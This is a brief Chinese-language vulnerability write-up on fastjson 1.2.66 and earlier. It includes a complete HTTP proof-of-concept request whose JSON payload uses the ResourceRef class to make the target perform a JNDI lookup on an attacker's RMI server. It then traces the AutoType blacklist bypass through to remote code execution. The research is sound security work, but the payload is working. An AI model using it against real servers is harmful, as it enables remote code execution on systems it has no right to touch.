0x01 漏洞背景
fastjson<= 1.2.66
0x02 漏洞复现
poc:
POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 115
{
"@type":"com.caucho.config.types.ResourceRef",
"LookupName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit"
}
0x03 漏洞分析
在开启AutoType之后,会先过白名单,若在白名单之中,则直接加载该类。若不在白名单,且不在黑名单中则加载该类,若在黑名单中则直接抛出异常。
发送poc
解析
checkAutoType进行类名检查
黑白名单检查
说白了就是,因为开启了AutoTypeSupport之后,会进入黑白名单检查,但这个类不在黑名单检测当中所以在黑白名单之后加载该类。
进入deserialize方法进行发序列化操作
最终跟到setvalue
前面的分析也讲过,当fastjson进行反序列化时会调用该对象的set方法进行属性赋值,调用get方法进行值的获取。如本文中的poc是LookupName,所以会对应调用该类的setLookupName方法。
最终在调用getValue获取value属性的时候,刚刚好触发了lookup方法,且参数可控,为我们设置的LookupName的rmi链接
从而造成了远程命令执行。
0x04 参考